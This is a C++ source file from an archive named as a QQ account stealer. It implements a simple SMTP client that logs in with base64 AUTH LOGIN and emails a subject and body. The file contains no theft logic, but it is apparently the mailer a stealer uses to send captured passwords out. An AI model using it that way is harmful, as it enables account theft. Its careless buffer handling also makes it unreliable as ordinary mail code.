www.pudn.com > QQ盗号器QQ2002.zip > AuthSMTP.cpp


// AuthSMTP.cpp: implementation of the CAuthSMTP class. 
// 
////////////////////////////////////////////////////////////////////// 
 
#include "stdafx.h" 
 
#include "AuthSMTP.h" 
 
#include "UTIL_Base64Coder.h" 
#ifdef _DEBUG 
#undef THIS_FILE 
static char THIS_FILE[]=__FILE__; 
#define new DEBUG_NEW 
#endif 
 
////////////////////////////////////////////////////////////////////// 
// Construction/Destruction 
////////////////////////////////////////////////////////////////////// 
 
CAuthSMTP::CAuthSMTP() 
{ 
	m_sock.Create(); 
	m_num=0; 
} 
 
CAuthSMTP::~CAuthSMTP() 
{ 
    m_sock.Close(); 
} 
 
BOOL CAuthSMTP::Connect(CString SMTPHost) 
{ 
	char buf [1000]; 
//	TCHAR local_host[80]; 
//	memset(local_host,0,80); 
	for (int i=0;i < 512;i++) 
		buf[i]='\0'; 
 
	m_sock.Connect((LPCTSTR)SMTPHost,25); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
//	gethostname( local_host, 80 );   //得到本地机器标准主机名 
	CString strSend = _T("HELO 263.net\r\n"); 
//	strSend.Format(, "263.net");//local_host); 
	for (i=0;i < 512;i++) 
		buf[i]='\0'; 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
   	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
     
	return TRUE; 
} 
 
BOOL CAuthSMTP::Authent(CString mailUser, CString mailPwd) 
{ 
	char buf [1000]; 
	for (int i=0;i < 512;i++) 
		buf[i]='\0'; 
 
	CString strSend=_T("AUTH LOGIN\r\n"); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
	UTIL_Base64Coder cb; 
	CString  strAuth  = mailUser;   
	char  chTemp[1024];  
	ZeroMemory(chTemp,  1024);  
	CString  strEncode; 
	cb.Encode(strAuth.GetBuffer(0),  strAuth.GetLength(),strEncode);  
	//strEncode就为加密后的密文  
	sprintf(chTemp,  "%s\r\n",  strEncode);  
	strAuth.ReleaseBuffer();  
	strSend.Format(_T("%s\r\n"),strEncode); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
	strAuth  = mailPwd;  
	ZeroMemory(chTemp,  1024);  
	cb.Encode(strAuth.GetBuffer(0),  strAuth.GetLength(),strEncode);  
	//strEncode就为加密后的密文  
	sprintf(chTemp,  "%s\r\n",  strEncode);  
	strAuth.ReleaseBuffer();  
	strSend.Format(_T("%s\r\n"),strEncode); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
    return TRUE; 
} 
 
BOOL CAuthSMTP::FromTo(CString mailFrom, CString mailTo) 
{ 
	char buf [1000]; 
	for (int i=0;i < 512;i++) 
		buf[i]='\0'; 
	CString strSend; 
	strSend.Format(_T("MAIL FROM:<%s>\r\n"),mailFrom); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
	for (i=0;i < 512;i++) 
		buf[i]='\0'; 
	strSend.Format(_T("RCPT TO:<%s>\r\n"),mailTo); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
	return TRUE; 
} 
 
BOOL CAuthSMTP::SendEmail(CString Subject,CString Body) 
{ 
	char buf [1000]; 
	for (int i=0;i < 512;i++) 
		buf[i]='\0'; 
	CString strSend=_T("DATA\r\n"); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
	strSend.Format(_T("SUBJECT:<%s>\r\n"),Subject); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
 
	strSend.Format(_T("<%s>\r\n"),Body); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
 
   	for (i=0;i < 512;i++) 
		buf[i]='\0'; 
	strSend=_T(".\r\n"); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
	return TRUE; 
} 
 
BOOL CAuthSMTP::DisConnect() 
{ 
	char buf [1000]; 
	for (int i=0;i < 512;i++) 
		buf[i]='\0'; 
	CString strSend=_T("QUIT \r\n"); 
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength()); 
	m_sock.Receive(buf, sizeof(buf)); 
    m_info[m_num++]=buf; 
 
	return TRUE; 
}